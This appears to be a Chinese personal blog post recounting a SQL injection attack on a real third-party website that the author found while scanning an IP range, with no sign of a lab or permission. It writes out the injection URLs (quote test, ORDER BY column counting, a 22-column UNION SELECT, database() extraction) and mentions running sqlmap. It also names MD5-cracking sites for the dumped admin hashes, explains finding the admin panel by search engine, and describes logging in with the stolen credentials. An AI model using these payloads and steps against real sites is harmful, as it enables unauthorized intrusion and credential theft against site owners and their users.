简单的注入漏洞挖掘实战

起因:

前几天在对某一个站点进行信息搜集的时候,在C段(同网段如192.168.1-255中所有ip)的信息里面发现了某一个站点,当时看见了:

url:http://www.xxx..com/class.php?id=104

忍不住加了一个单引号来测试是否存在注入漏洞。

 

加了单引号之后没有返回信息,果不其然,存在注入漏洞

 

 

 

正常的报错注入流程一般都是:

先判断注入点、注入点闭合、列数判断、得到库信息、表信息、字段信息,最后再对字段信息进行解密可以得到管理员的账号和密码。

测试注入点

1. 首先是测试注入点在哪,这个是正常界面下返回的信息,一切正常

http://www.xxx..com/class.php?id=104

 

 

 

2. 常见的闭合方法测试

http://www.xxx..com/class.php?id=104’--+

http://www.xxx..com/class.php?id=104” --+

http://www.xxx..com/class.php?id=104’) --+

这些经过测试发现均返回错误页面,也就证明闭合失败,无法成功闭合

 

 

 

 

如果不想那么复杂的话,是不是好点?直接用order by语句判断列数

过程如下:

http://www.xxx.com/list.php?id=104 order by 30 --+ 返回界面异常
http://www.xxx.com/list.php?id=104 order by 15 --+ 返回界面正常
http://www.xxx.com/list.php?id=104 order by 20 --+ 返回界面异常
。。。。
最后通过简单的二分法测试得到当order by 22 --+ 的时候返回是正常的,因此存在22列。

 

 

 

 

既然知道了存在22列,使用hackbar中的联合注入工具来判断报错注入可回显注入的点。

http://www.xxx.com/list.php?id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 --+

 

判断出了16的位置是可以回显报错数据的,因此可以使用16这个位置来获取所需要的数据。

 

 

首先获取当前的数据库信息,获取到当前使用数据库名xxxw_cn

http://www.xxx.com/list.php?id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,

15,database(),17,18,19,20,21,22 --+

 

 接下来使用同样的手段去获得表和字段信息,在这里不再进行赘述。

 

sqlmap

不是所有的注入都是适合手动去做的,这里还是用sqlmap。

首先是payload

 

 获取库中的表信息

 

 获取库中的表信息

 

 

获取表中的字段信息,获取字段信息之后将password在md5解密平台进行解密,常见的md5解密平台有

  • https://cmd5.com/(需要注册,功能强大,难度较大的需要收费解密)
  • https://www.somd5.com/(免费)
  • https://pmd5.com/(免费)
  •  

     后台的查找上,直接在域名后面加admin是无法跳转到后台的。

  •  

     这里有一个小技巧,直接使用搜索引擎去搜索,针不戳,直接就找到了

 

 直接使用用户的数据登录后台

 

posted @   一只敢敢  阅读(195)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
点击右上角即可分享
微信分享提示